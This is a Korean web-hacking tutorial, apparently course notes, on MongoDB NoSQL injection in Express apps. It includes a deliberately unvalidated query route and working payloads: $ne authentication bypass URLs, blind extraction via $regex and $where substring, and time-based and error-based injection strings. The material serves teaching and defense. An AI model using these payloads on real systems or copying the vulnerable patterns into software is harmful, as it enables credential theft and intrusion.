Web Hacking - NoSQL Injection (2)

  • NoSQL Injection
  • Bline NoSQL Injection

ServerSide : NoSQL Injection

SQL Injection과 공격 목적과 방법이 매우 유사하며, 이용자의 입력값이 쿼리에 포함되며 발생하는 문제점이다. MongoDB의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생한다. MongoDB는 SQL에서 저장하는 자료형 외에도 오브젝트, 배열 타입을 사용할 수 있다.

MongoDB 자료형 : link

express 데이터 처리 방식

이용자의 입력값과 타입을 출력하는데, req.query의 타입이 문자열로 지정되어 있지 않기 때문에 문자열 외의 타입이 입력될 수 있다.

const express = require('express'); // express 기본 모듈 불러오기
const app = express(); // express 객체 생성
//get 프로토콜에 대한 응답
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

NoSQL Injection

MongoDB는 문자열이 아닌 타입의 값을 입력할 수 있고, 이를 통해 연산자를 사용할 수 있다.

MongoDB NoSQL Injection Example

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

위 코드는 user 콜렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터를 찾고, 출력하는 예제 코드로, 이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다. 오브젝트 타입의 값을 입력할 수 있다면, 연산자를 사용할 수 있으며, $ne 연산자는 입력한 데이터와 일치하지 않는 데이터를 반환한다. 따라서, 공격자는 계정 정보를 모르더라도 다음과 같이 입력해 해당 정보를 알아낼 수 있다.

ne 연산자 : uid와 upw가 a가 아닌 데이터를 조회한 결과

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

NoSQL Injection 실습 - admin의 계정의 비밀번호 획득하기

upw에 not equal 연산자를 사용하여 upw의 값에 상관 없이 uid가 admin인 데이터를 조회할 수 있다

{"uid": "admin", "upw":{"$ne":""}}

Blind NoSQL Injection

MongoDB 연산자 공식 문서 : link

Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.
$text 지정된 텍스트를 검색합니다.
$where JavaScript 표현식을 만족하는 문서와 일치합니다.

$regex

regex 연산자를 활용한 upw에서 각 문자로 시작하는 데이터 조회하기

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

$where

인자로 전달한 JS 표현식을 만족하는 데이터를 조회한다.

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

# 필드에서는 사용할 수 없다
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}
substring

해당 연산자로 JS 표현식을 입력하면, Blind SQL Injection에서 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
Sleep 함수를 통한 Time based Injection

표현식과 함께 sleep 함수를 사용하면, 지연 시간을 통해 참/거짓 결과를 확인할 수 있다. 아래 쿼리는 upw의 첫 글자를 비교하고, 해당 표현식이 참일 때 sleep 함수를 실행한다

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
Error based Injection

에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킨다.

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음